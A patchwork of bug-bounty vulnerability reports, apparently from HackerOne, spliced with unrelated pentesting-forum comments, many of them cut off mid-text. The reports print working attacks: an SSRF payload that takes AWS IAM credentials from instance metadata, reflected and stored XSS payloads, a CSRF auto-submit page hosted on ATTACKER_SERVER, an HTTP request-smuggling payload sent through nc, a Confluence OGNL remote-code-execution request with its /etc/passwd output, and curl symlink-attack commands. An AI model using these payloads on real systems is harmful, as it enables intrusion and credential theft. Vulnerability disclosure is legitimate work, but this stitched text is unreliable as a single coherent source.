User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Control-Allow-Origin: *
Referer: https://████/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

```
.
**Http Response**
```http
HTTP/1.1 200 OK
Server: nginx/1.21.6
Date: Mon, 04 Jul 2022 05:42:12 GMT
Content-Type: text/plain
Connection: close
Strict-Transport-Security: max-age=31536000; includeSubdomains
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
Content-Security-Policy: object-src 'none'; script-src 'unsafe-inline' 'unsafe-eval' 'strict-dynamic' https: http:;
Front-End-Https: on
Content-Length: 313

ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/
```
.
.
**SCREEN SHOT**
████
.
.

## Impact

SSRF Vulnerability
Remote Access to AWS metadata

## System Host(s)
█████

## Affected Product(s) and Version(s)

## CVE Numbers

## Steps to Reproduce
1 - Visit https://██████████
2 - Press 'Import from URL' Button & Enter SSRF Payload in the Dialog Box
3 - Intercept the Request & observe the response

## Suggested Mitigation/Remediation Actions
Sanitize user supplied input in paramter `?url=`
Block access to internal networks


for some reason you need to append the leaked address at the payload i just tried it and it works i don’t know the reason why


Every time I spawned the target, it was normal at first. After a few seconds, I can’t connect to the target. image 665×304 12.5 KB


[Classic Buffer Overflow] Buffer overflow and affected url:-https://github.com/curl/curl/blob/master/docs/examples/hsts-preload.c

## Summary:
A buffer overflow, also known as a buffer overrun, occurs when a program or process attempts to write more data to a buffer than the buffer is allocated to hold. This can happen if the program does not properly check the length of the data before writing it to the buffer, or if the program allocates too little space for the buffer.

## Steps To Reproduce:
[add details for how we can reproduce the issue]

1. The hstsread function in the provided code does not properly check the length of the host string before copying it into the e->name buffer. This could lead to a buffer overflow, allowing an attacker to inject arbitrary code into the application.this could exploited by a malicious domain or website whose url should be long enough to overflow buffer as it's using strcpy function
Condition a malicious preload host is required to exploit this if it's meet government can use it for zero click attack

Recommendation:

The hstsread function should be modified to check the length of the host string before copying it into the e->name buffer. If the string is too long, the function should return an error code

## Supporting Material/References:
[list any additional material (e.g. screenshots, logs, etc.)]

  * [attachment / reference]

Affected url:-https://github.com/curl/curl/blob/master/docs/examples/hsts-preload.c
Here is the vulnerable code if attacker or government manipulate developer to add a very long domain name in  hsts_preload then this will result remote code execution

#include <stdio.h>
#include <string.h>
#include <curl/curl.h>

struct entry {
  const char *name;
  const char *exp;
};

static const struct entry preload_hosts[] = {
  { "example.com", "20370320 01:02:03" },
  { "curl.se",     "20370320 03:02:01" },
  { NULL, NULL } /* end of list marker */
};

struct state {
  int index;
};

/* "read" is from the point of the library, it wants data from us. One domain
   entry per invoke. */
static CURLSTScode hstsread(CURL *easy, struct curl_hstsentry *e,
                            void *userp)
{
  const char *host;
  const char *expire;
  struct state *s = (struct state *)userp;
  (void)easy;
  host = preload_hosts[s->index].name;
  expire = preload_hosts[s->index++].exp;

  if(host && (strlen(host) < e->namelen)) {
    strcpy(e->name, host);
    e->includeSubDomains = 0;
    strcpy(e->expire, expire);
    fprintf(stderr, "HSTS preload '%s' until '%s'\n", host, expire);
  }
  else
    return CURLSTS_DONE;
  return CURLSTS_OK;
}

static CURLSTScode hstswrite(CURL *easy, struct curl_hstsentry *e,
                             struct curl_index *i, void *userp)
{
  (void)easy;
  (void)userp; /* we have no custom input */
  printf("[%u/%u] %s %s\n", (unsigned int)i->index, (unsigned int)i->total,
         e->name, e->expire);
  return CURLSTS_OK;
}

int main(void)
{
  CURL *curl;
  CURLcode res;

  curl = curl_easy_init();
  if(curl) {
    struct state st = {0};

    /* enable HSTS for this handle */
    curl_easy_setopt(curl, CURLOPT_HSTS_CTRL, (long)CURLHSTS_ENABLE);

    /* function to call at first to populate the cache before the transfer */
    curl_easy_setopt(curl, CURLOPT_HSTSREADFUNCTION, hstsread);
    curl_easy_setopt(curl, CURLOPT_HSTSREADDATA, &st);

    /* function to call after transfer to store the new state of the HSTS
       cache */
    curl_easy_setopt(curl, CURLOPT_HSTSWRITEFUNCTION, hstswrite);
    curl_easy_setopt(curl, CURLOPT_HSTSWRITEDATA, NULL);

    /* use the domain with HTTP but due to the preload, it should do the
       transfer using HTTPS */
    curl_easy_setopt(curl, CURLOPT_URL, "http://curl.se");

    curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);

    /* Perform the request, res will get the return code */
    res = curl_easy_perform(curl);
    /* Check for errors */
    if(res != CURLE_OK)
      fprintf(stderr, "curl_easy_perform() failed: %s\n",
              curl_easy_strerror(res));

    /* always cleanup */
    curl_easy_cleanup(c


[Insecure Direct Object Reference (IDOR)] IDOR

**Summary:**
IDOR

**Description:**
By changing the value in the parameter █████████= from my own account █████ to something else such as ████████ it is possible to see barcode and expiration date of other ████ without their consent.

## Impact
Information Disclosure

## Step-by-step Reproduction Instructions

1. PoC: https://████████

## Product, Version, and Configuration (If applicable)
Web Application

## Suggested Mitigation/Remediation Actions
Restrict access to other meal cards which the user is not authorized to access.

## Impact

Information Disclosure


[Open Redirect] Open Redirect in Logout & Login

## Entry
Hello there! While browsing on expedia, I logged out of the account and as soon as I logged out, it was calling me a parameter called "rurl" directly on the link, I examined it and was able to redirect successfully.

## Default Request

GET /?logout=1 HTTP/2
Host: www.expedia.com
Cookie:  { REDACTED }
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers

## Default Response

HTTP/2 200 OK

##In response, it redirects us to the homepage.

## Vulnerability Request

GET /?logout=https://qx4lw1nsec.blogspot.com HTTP/2
Host: www.expedia.com
Cookie: { REDACTED }
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers

## Note
The part that exposes to explicit redirection is "?" in the section after the address. is use.
and whatever he does he will throw redirects.

## Video
{F2053834}

## Impact

Redirect
Phishing
Social Engineering


[Cross-site Scripting (XSS) - Reflected] Reflected XSS in ██████████

**Description:**
XSS vulnerability found on one of `█████` subdomains. [ DoD scope]

After analyzing `https://███████/` (██████) I found  `path/user/NextRequestAccount.action` page that have `militarybranch` parameter in `GET` request.  `militarybranch` parameter vulnerable to XSS vulnerability.

`https://████/` requires a valid user to access the contents, but the registration page is accessible to all visitors without any restrictions or credentials.
█████████

User should select `Military Branch` in registration page and there is reflection point!
Modifying `militarybranch` parameter in request and set payload on it, you'll receive `XSS Success!` alert box.

Payload:
`https://█████████/path/user/NextRequestAccount.action?militarybranch=███████%3CHTMl%0Aonmouseover%0A=%0Aalert(%27XSSSuccess!%27)%0Dx//&firstName=0xd3adc0de&middleName=0xd3adc0de&lastName=0xd3adc0de&email=0xd3adc0de&title=0xd3adc0de&department=&organization=&ship=0xd3adc0de&orgid=&location=`
████████

## References
https://owasp.org/www-community/attacks/xss/

## Impact

By exploiting this vulnerability an attacker can trick the users to execute XSS and steal user's cookies.
Launch advanced phishing attacks.
Execute browser-based attacks etc.

## System Host(s)
█████████

## Affected Product(s) and Version(s)

## CVE Numbers

## Steps to Reproduce
* Visit the following URL
`https://█████████/path/user/NextRequestAccount.action?militarybranch=█████%3CHTMl%0Aonmouseover%0A=%0Aalert(%27XSSSuccess!%27)%0Dx//&firstName=0xd3adc0de&middleName=0xd3adc0de&lastName=0xd3adc0de&email=0xd3adc0de&title=0xd3adc0de&department=&organization=&ship=0xd3adc0de&orgid=&location=` you will receive `XSS Success!` alert box.

## Suggested Mitigation/Remediation Actions


check other users! Some of them have some files that you might be able to see!


[Server-Side Request Forgery (SSRF)] SSRF in Functional Administrative Support Tool pdf generator (████) [HtUS]

## Summary:
I found that it is possible to inject a javascript payload during the PDF form creation process, which is then executed by the checklist application server.

## Vulnerable Software: Functional Administrative Support Tool (FAST) v1.0

## Intro:

██████████

Administrative clerks create a dynamic action items by guiding a███ through targeted questions designed to draw out required administrative actions that are required and trigger of additional processes that need to be completed.

After completing the question and answer process ( point 3. Get Action Items ) the application offers 2 options: Send the report by Email or print (See PDF).

When the user clicks on (View PDF) they are redirected to the URL:███████/print/checklist/fast_session_XXXXXX.pdf . This is where the user will have access to his PDF form generated dynamically by the███ system.

note: XXXXXX is the "session" assigned by the system to identify a form.

## Steps To Reproduce:
1. Go to███/ and select "BEGIN NEW SESSION", enter a MCC code Ex. "h99" and SUBMIT
2. with burp suite on, select a process, and fill in the data randomly up to point 3. (EDIPI code is a 10 chars long number. Ex. 0123456789) - click CONTINUE

3. in point 3, (Get Action Items) click on PRINT (VIEW PDF) - A window will open with the dynamically generated PDF exposing the data that we complete.

4. observe in burp suite the last request made to /api/save/ proceed to right click and send to "Repeater"

5. modify value "name" of the json object "globalInfo" by the payload:

`</script><script>document.write('<iframe src=\"http://███/latest/meta-data/iam/security-credentials/EC2CloudWatchRole\" width=1000px height=1000px>')</script>`

and click Send request. If everything went well, the server responds "status ok"

6. Refresh form URL. Ex.████████/print/checklist/fast_session_XXXXXX.pdf

for this PoC. AWS secretkeys were accessed:

`{  "Code" : "Success",  "LastUpdated" : "2022-07-06T02:57:53Z",  "Type" : "AWS-HMAC",  "AccessKeyId" : "███",  "SecretAccessKey" : "████",  "Token" :"██████",  "Expiration" : "2022-07-06T09:04:49Z"}`

## Supporting Material/References:

* https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/
* https://docs.google.com/presentation/d/1JdIjHHPsFSgLbaJcHmMkE904jmwPM4xdhEuwhy2ebvo/htmlpresent
* https://hackerone.com/reports/508459
* https://hackerone.com/reports/53088

## Impact

An attacker can inject malicious javascript payloads in the PDF generation process and executed by the checklist application server. An attacker could use this to Steal  credentials or other sensitive information from ████ AWS Instance.


[Cross-Site Request Forgery (CSRF)] Widespread CSRF on authenticated POST endpoints

## Summary:

Cross-Site Request Forgery (CSRF) is possible on most, if not all, authenticated POST endpoints.

While CORS is configured such that the Access-Control-Allow-Origin header is set to `Access-Control-Allow-Origin: hackers.upchieve.org`, CORS does **not** prevent CSRF - it only prevents the attacker from reading the response. This does not stop the attacker from performing any arbitrary actions on behalf of the user.

This is possible through a simple HTML form with hidden inputs, submitted with JavaScript. While POST requests are made using JSON data by default, `application/x-www-form-urlencoded` is accepted as well. Because the user's session cookie does not have the SameSite attribute set, it is sent along with the request.

The following endpoints were found to be vulnerable:
- `POST /api/calendar/save` (set availability for text messages)
- `POST /api/training/score` (submit quizzes and subject certifications)
- `POST /auth/reset/send` (send password reset email)
- `POST /api/user/volunteer-approval/background-information` (submit background information)
- `POST /api/user/volunteer-approval/reference` (request a reference)

The attacker can perform any of the above actions on behalf of the user, as long as the user has a valid session cookie. There are probably more endpoints to be discovered, but I do not have access to them yet due to the approval / onboarding process.

PUT requests, particularly `PUT /api/user` (to update a user's phone number and account status), are not possible through this method. However, older browsers might not comply to CORS pre-flight requests and still allow a PUT request initiated by JavaScript on the attacker's site to go through.

## Steps To Reproduce:

1. As a victim, log in to https://hackers.upchieve.org/
2. Create a page like the one below.

This is an example for performing a CSRF on the `/api/calendar/save` endpoint (the full HTML file is attached). In this example, we set all the possible time slots to "true".

```html
<html>
  <body>
    <form action="https://hackers.upchieve.org/api/calendar/save" method="POST">
        <input type="hidden" name="availability[Sunday][12a]" value="true" />
        <input type="hidden" name="availability[Sunday][1a]" value="true" />

		...

        <input type="hidden" name="availability[Saturday][11p]" value="true" />
        <input type="hidden" name="tz" value="Asia/Singapore" />
    </form>
    <script>
      	document.forms[0].submit();
    </script>
  </body>
</html>
```

3. Serve the page on the attacker server.
4. As the victim, visit http://ATTACKER_SERVER/calendar_csrf.html

Once the HTML page loads on the browser, the POST request is submitted and we would see the following response:

```json
{"msg":"Schedule saved"}
```

5. Verify that the victim's calendar has been modified.

I have also prepared other CSRF payloads for the other endpoints.

- `calendar_csrf.html` performs the above-described attack.
- `reference_csrf.html` sends out reference requests on behalf of the victim.
- `quiz_csrf.html` submits quizzes for grading on behalf of the victim.
- `reset_csrf` sends out password resets on behalf of the victim.

## Supporting Material/References:

I have attached the CSRF payloads, a screenshot of the changed calendar, and a screenshot of the output from the quiz CSRF.

## Recommendations for Fixing/Mitigation

- Use CSRF tokens
- Use the SameSite attribute for cookies

## Impact

When an authenticated user visits any attacker-controlled site, the attacker is able to perform arbitrary authenticated actions on behalf of the user. While the attacker cannot obtain the request output from the CSRF, he is still able to perform sensitive actions blindly.


[Cross-site Scripting (XSS) - Stored] Stored XSS in Public Profile Reviews

Summary:
Stored XSS found in public profile review in which we can add product details in shop addition options. In description of shop product we can add data URI XSS in HTML format which is led to XSS once user click on HTML.
In data URI XSS payload is encrypted in base64

Steps To Reproduce:
  1. Login with registered username and go to profile.
  2. After that click on add recommendation and add product details and in it's description add below payload:
Click Here
{ Data URI XSS: data:text/html;charset=utf-7;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=
(PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=) :  }
  3. Now save the form by filling rest columns.
  4. If any one views public profile and click on HTML tag, it will trigger XSS.

Proof Of Concept:
Video POC attached

## Impact

Attacker can execute XSS in the victim user using judge platform


I had to make an account just to say thank you for this. I’m just getting into this particular area of programming and this is excellent.


[Improper Access Control - Generic] Unauthorized Access to Internal Server Panel without Authentication

The server can be accessed without any authentication and it contains information that should not be kept public for anyone.

I advice you to take look if this data are sensitive or not!

## References
███████

## Impact

There might be sensitive info that should not have to be leaked to public.

## System Host(s)
██████

## Affected Product(s) and Version(s)

## CVE Numbers

## Steps to Reproduce
Navigate to the target url: https://████/
See that you directly are inside the server without logging in.

## Suggested Mitigation/Remediation Actions


Keep in mind that if you are using two or more switches together, you only need one “-”. You have -X -r and have two “-” so that’s incorrect. You have -r (Filename) and then -X. That’s incorrect. Then you have -rX. Now look at that one one for a second. In -rX you are telling tcpdump to read first THEN after reading do X. But the command wont work because you interruped the read command with X. Getting the ideas here. Try flipping -rX and same file name. Also the question asked for the command, not the swithces. So it would be sudo tcpdump [your switches] [file name]. sudp tcpdump-** /file name 1/file pcap


If you are looking for wireless adapter pentesting then ALFA dual band wireless adapter is must. Please note that your pc network interface doesn’t support monitoring and packet injection. I would prefer your to buy ALFA dual band wireless adapter. But beginner to set up on kali Linux, would be frustating but you can watch david bombal youtube video.


Make sure you’ve identified ALL of the vulnerable applications on the box…one of them will give you what you want…don’t just focus on the one thing


[HTTP Request Smuggling] HTTP Request Smuggling Due To Improper Delimiting of Header Fields

**Summary:**

The `llhttp` parser in the `http` module in Node v17.8.0 does not strictly use the CRLF sequence to delimit HTTP requests. This can lead to HTTP Request Smuggling (HRS).

**Description:**

The LF character (without CR) is sufficient to delimit HTTP header fields in the `lihttp` parser. According to [RFC7230 section 3](https://datatracker.ietf.org/doc/html/rfc7230#section-3), only the CRLF sequence should delimit each `header-field`.

Consider the following request (all lines are delimited by CRLF except the `[\n]` part)

```http
GET / HTTP/1.1
Host: localhost
Dummy: x[\n]Content-Length: 23

GET / HTTP/1.1
Dummy: GET /admin HTTP/1.1
Host: localhost

```

Suppose that an upstream server:
- Correctly delimits lines by the CRLF sequence instead of only LF
- Incorrectly allows the LF character in header values

This leads to HTTP request smuggling as the Node server sees one extra header field, `Content-Length: 23` while the upstream proxy thinks that the content length of the first request is 0.

Request as seen by the Node server:

```http
GET / HTTP/1.1
Host: localhost
Dummy: x
Content-Length: 23

GET / HTTP/1.1
Dummy: GET /admin HTTP/1.1
Host: localhost

```

## Steps To Reproduce:

Server code I used for testing:

```javascript
const http = require('http');

http.createServer((request, response) => {
   let body = [];
   request.on('error', (err) => {
      response.end("error while reading body: " + err)
   }).on('data', (chunk) => {
      body.push(chunk);
   }).on('end', () => {
   body = Buffer.concat(body).toString();

   response.on('error', (err) => {
      response.end("error while sending response: " + err)
   });

   response.end(JSON.stringify({
         "URL": request.url,
         "Headers": request.headers,
         "Length": body.length,
         "Body": body,
      }) + "\n");
   });
}).listen(80);
```

Payload:

```bash
(printf "GET / HTTP/1.1\r\n"\
"Host: localhost\r\n"\
"Dummy: x\nContent-Length: 23\r\n"\
"\r\n"\
"GET / HTTP/1.1\r\n"\
"Dummy: GET /admin HTTP/1.1\r\n"\
"Host: localhost\r\n"\
"\r\n"\
"\r\n") | nc localhost 80
```

**Expected result:** Sees two requests, both to `/`.

**Actual result:** Sees one request to `/` and another to `/admin`.

```http
HTTP/1.1 200 OK
Date: Mon, 28 Mar 2022 15:51:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 124

{"URL":"/","Headers":{"host":"localhost","dummy":"x","content-length":"23"},"Length":23,"Body":"GET / HTTP/1.1\r\nDummy: "}
HTTP/1.1 200 OK
Date: Mon, 28 Mar 2022 15:51:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 69

{"URL":"/admin","Headers":{"host":"localhost"},"Length":0,"Body":""}
```

## Impact

Depending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.


[Unknown] (CVE-2023-32003) fs.mkdtemp() and fs.mkdtempSync() are missing getValidatedPath() checks

https://hackerone.com/reports/2037887

https://nodejs.org/en/blog/vulnerability/august-2023-security-releases#fsmkdtemp-and-fsmkdtempsync-are-missing-getvalidatedpath-checks-lowcve-2023-32003

Patch was provided.

## Impact

See reports


Hello everyone Who passed the “Default Credentials” part Who can remember. There it is necessary to redo the entire script that they propose to study in order to answer the question: “Inspect the login page and perform a bruteforce attack. What is the valid username?” I’m trying to put my data from the provided machine into it изображение 807×199 23.7 KB The script freezes, you have to interrupt it. and the error always appears the same:


[Business Logic Errors] curl file writing susceptible to symlink attacks

## Summary:
If curl command is used to download a file with predictable file name to a world writable directory (such as `/tmp`), a local attacker is able to mount a symlink attack to either A) redirect the target file writing to another file writable by the user or B) replace the downloaded file contents with arbitrary other data. libcurl `file://` upload is similarly affected.

However, this really isn't a vulnerability in curl or libcurl itself, but use of curl or libcurl.

## Steps To Reproduce:

### Scenario A example:
- attacker does:
  `ln -s /home/victim/.bashrc /tmp/target.sh`
- victim does:
  `curl  --output-dir /tmp -O https://example.com/target.sh` or
  `curl -o /tmp/target.sh https://example.com/whatever` or similar

=> Instead of downloading the file to `/tmp/target.sh` it will be written to `/home/victim/.bashrc`. This attack works the best when the attacker can control which file is downloaded (granted, this is often not possible).

### Scenario B example:
- attacker does:
 `install -m 606 /dev/null /tmp/target.sh`
- attacker waits for the file to be closed (inotify), and  immediately replaces the file contents with malicious content once closed
- victim does:
  `curl  --output-dir /tmp -O https://example.com/target.sh` or
  `curl -o /tmp/target.sh https://example.com/whatever` or similar

=> The victim downloaded content is replaced by malicious content before it's used (copied, executed etc) by the victim.

## Remediation

- Documentation should be amended to warn users against this threat. If temporary files are used, they should be put to secure temporary directory (created by `mktemp -d` or similar).
- While not a vulnerability in curl/libcurl a mode that uses `O_NOFOLLOW` when opening output files could be added. Similarly in this secure mode `--create-dirs` would need to be amended to refuse to create entry in any location owned by another user (but making this check bulletproof is tricky),  This mode could not be the default behaviour, since it would likely break too many things.

## Vulnerability discussion

The obvious argument against this being a vulnerability in curl/libcurl is that the user is responsible for the permissions of the directory they download to.  That is: the insecure use of curl/libcurl is actually where the vulnerability lies.

Interwebs has quite many examples of vulnerable use or examples, including: https://daniel.haxx.se/blog/2020/09/10/store-the-curl-output-over-there/

## Impact

A) Overwriting files owned by the user downloading the files.
B) Replacing downloaded data with malicious content


[OS Command Injection] RCE in ███ [CVE-2021-26084]

In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance. The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if ‘Allow people to sign up to create their account’ is enabled. To check whether this is enabled go to COG > User Management > User Signup Options. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0

## Impact

-   An unauthenticated, 3rd-party attacker or adversary can execute remote code

## System Host(s)
██████████

## Affected Product(s) and Version(s)

## CVE Numbers
CVE-2021-26084

## Steps to Reproduce
POST
(command cat /etc/passwd)
```
POST /confluence/pages/doenterpagevariables.action HTTP/1.1
Host: ████
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36
Accept-Encoding: gzip
Content-Length: 915

queryString=aaaaaaaa\u0027%2b{Class.forName(\u0027javax.script.ScriptEngineManager\u0027).newInstance().getEngineByName(\u0027JavaScript\u0027).\u0065val(\u0027var+isWin+%3d+java.lang.System.getProperty(\u0022os.name\u0022).toLowerCase().contains(\u0022win\u0022)%3b+var+cmd+%3d+new+java.lang.String(\u0022cat /etc/passwd\u0022)%3bvar+p+%3d+new+java.lang.ProcessBuilder()%3b+if(isWin){p.command(\u0022cmd.exe\u0022,+\u0022/c\u0022,+cmd)%3b+}+else{p.command(\u0022bash\u0022,+\u0022-c\u0022,+cmd)%3b+}p.redirectErrorStream(true)%3b+var+process%3d+p.start()%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader(process.getInputStream())%3b+var+bufferedReader+%3d+new+java.io.BufferedReader(inputStreamReader)%3b+var+line+%3d+\u0022\u0022%3b+var+output+%3d+\u0022\u0022%3b+while((line+%3d+bufferedReader.readLine())+!%3d+null){output+%3d+output+%2b+line+%2b+java.lang.Character.toString(10)%3b+}\u0027)}%2b\u0027

```

You will see the output of the ifconfig command

OUTPUT
```
         type="hidden"
          name="queryString"            value="aaaaaaaa[root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
confluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash
]"             />                <input
]"             />
```

## Suggested Mitigation/Remediation Actions


[Privilege Escalation] odbc apache airflow provider code execution vulnerability

In  airflow.providers.odbc.hooks.odbc.OdbcHook, A privilege escalation vulnerability exists in a system due to controllable ODBC driver parameters that allow the loading of arbitrary dynamic-link libraries, resulting in command execution.

Vulnerability reproduction steps:
1. get a malicious dynamic-link library driver
A simple way to obtain a malicious dynamic-link library driver is to obtain the driver source code, add malicious code into the driver code and compile it. So I download a mysql-odbc-driver from https://cdn.mysql.com//Downloads/Connector-ODBC/8.0/mysql-connector-odbc-8.0.33-src.tar.gz，add I add `system('touch /tmp/apache-ariflow-odbc')` in driver.ansi.SQLDriverConnect function. After Compilation, I get a dynamic library `libmyodbc8a.so`.

2. config odbc connection
Go to the Connection configuration page. Add a `driver` parameter in the extra location, with the parameter being the file path of the previously obtained dynamic-link library file.

3. click on the test button
Click on the test button and it can be observed that the command is executed and a file named apache-ariflow-odbc is generated in the /tmp directory.

This is a screenshot of my email exchange with Airflow developers:
█████
█████

## Impact

Upgrade any local user to Airflow user privileges.


[Information Disclosure] Sensitive Data Exposure at https://█████████

**Description:**

I found in the endpoint https://███/api/getEnvVars,
sensitive data of environment variables containing: AWS S3 credentials, PATH, IP and PORTs.

## References

https://www.tenable.com/plugins/was/113164
https://docs.aws.amazon.com/general/latest/gr/aws-sec-cred-types.html
https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html

## Impact

By using leaked AWS credentials or abusing credentials with misconfigured permissions,
an attacker could try to gain access to sensitive information on the AWS account
or perform arbitrary modification on the AWS resources.

## System Host(s)
████████

## Affected Product(s) and Version(s)

## CVE Numbers

## Steps to Reproduce
1. Enable a HTTP interception proxy, such as Burp Suite or OWASP ZAP
2. Use a browser to navigate to: https://█████████
3. Find the HTTP POST to https://█████████/api/getEnvVars
4. See the response.

POC:

```json
{"PORT":"8080","PATH":"/home/vcap/app/node_modules/.bin:/home/vcap/node_modules/.bin:/home/node_modules/.bin:/node_modules/.bin:/home/vcap/deps/0/node/lib/node_modules/npm/node_modules/@npmcli/run-script/lib/node-gyp-bin:/home/vcap/deps/0/bin:/usr/local/bin:/usr/bin:/bin:/home/vcap/app/bin:/home/vcap/deps/0/node_modules/.bin","APP_SUB_DOMAIN":"██████","DEPLOY_ENV":"test","CF_INSTANCE_ADDR":"████████:61069","CF_INSTANCE_IP":"█████████","CF_INSTANCE_PORT":"61069","HOME":"/home/vcap/app","MEMORY_LIMIT":"125m","PWD":"/home/vcap/app","TMPDIR":"/home/vcap/tmp","USER":"vcap","VCAP_APP_HOST":"0.0.0.0","VCAP_APP_PORT":"8080","VCAP_APPLICATION":"{\"application_id\":\"█████████\",\"application_name\":\"████████\",\"application_uris\":[\"███\"],\"application_version\":\"███████\",\"cf_api\":\"https://api.system.██████\",\"host\":\"0.0.0.0\",\"instance_id\":\"█████████\",\"instance_index\":0,\"limits\":{\"disk\":3072,\"fds\":16384,\"mem\":125},\"name\":\"█████\",\"organization_id\":\"█████\",\"port\":8080,\"process_id\":\"███████\",\"process_type\":\"web\",\"space_id\":\"f28c5898-2473-4bf8-90e4-24d77a930603\",\"space_name\":\"CDN2-0_test\",\"uris\":[\"█████\"],\"version\":\"████\"}","VCAP_SERVICES":"{\"aws-s3\":[{\n  \"label\": \"aws-s3\",\n  \"provider\": null,\n  \"plan\": \"standard\",\n  \"name\": \"██████\",\n  \"tags\": [\n\n  ],\n  \"instance_guid\": \"█████████\",\n  \"instance_name\": \"█████\",\n  \"binding_guid\": \"██████████\",\n  \"binding_name\": null,\n  \"credentials\": {\n    \"access_key_id\": \"██████\",\n    \"bucket\": \"███-████████\",\n    \"region\": \"███\",\n    \"secret_access_key\": \"████\"\n  },\n  \"syslog_drain_url\": null,\n  \"volume_mounts\": [\n\n  ]\n},{\n  \"label\": \"aws-s3\",\n  \"provider\": null,\n  \"plan\": \"standard\",\n  \"name\": \"█████\",\n  \"tags\": [\n\n  ],\n  \"instance_guid\": \"█████████\",\n  \"instance_name\": \"███████\",\n  \"binding_guid\": \"██████████\",\n  \"binding_name\": null,\n  \"credentials\": {\n    \"access_key_id\": \"█████\",\n    \"bucket\": \"██████████-████\",\n    \"region\": \"██████████\",\n    \"secret_access_key\": \"████████\"\n  },\n  \"syslog_drain_url\": null,\n  \"volume_mounts\": [\n\n  ]\n}]}","s3_env_params":{"s3":{"config":{"credentials":{"expired":false,"expireTime":null,"refreshCallbacks":[],"accessKeyId":"████"},"credentialProvider":{"providers":[null,null,null,null,null,null,null],"resolveCallbacks":[]},"region":"████","logger":null,"apiVersions":{},"apiVersion":null,"endpoint":"https://s3.amazonaws.com","httpOptions":{"timeout":120000,"agent":null},"maxRedirects":10,"paramValidation":true,"sslEnabled":true,"s3ForcePathStyle":false,"s3BucketEndpoint":false,"s3DisableBodySigning":true,"s3UsEast1RegionalEndpoint":"legacy","computeChecksums":true,"convertResponseTypes":true,"correctClockSkew":false,"customUserAgent":null,"dynamoDbCrc32":true,"systemClockOffset":0,"signatureVersion":"v4","signatureCache":true,"retryDelayOptions":{},"useAccelerateEndpoint":false,"clientSideMonitoring":false,"endpointDiscoveryEnabled":false,"endpointCacheSize":1000,"hostPref


this hint is the key to the kingdom. Once you determine the vulnerability and can can make the exploit work in gdb (i.e. you get an unprivileged shell), get out of gdb and just run your exploit as an argument to the vulnerable binary–don’t forget to start your listener.


[Uncontrolled Resource Consumption] @nextcloud/logger NPM package brings vulnerable ansi-regex version

## Summary:
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*.

## Details:
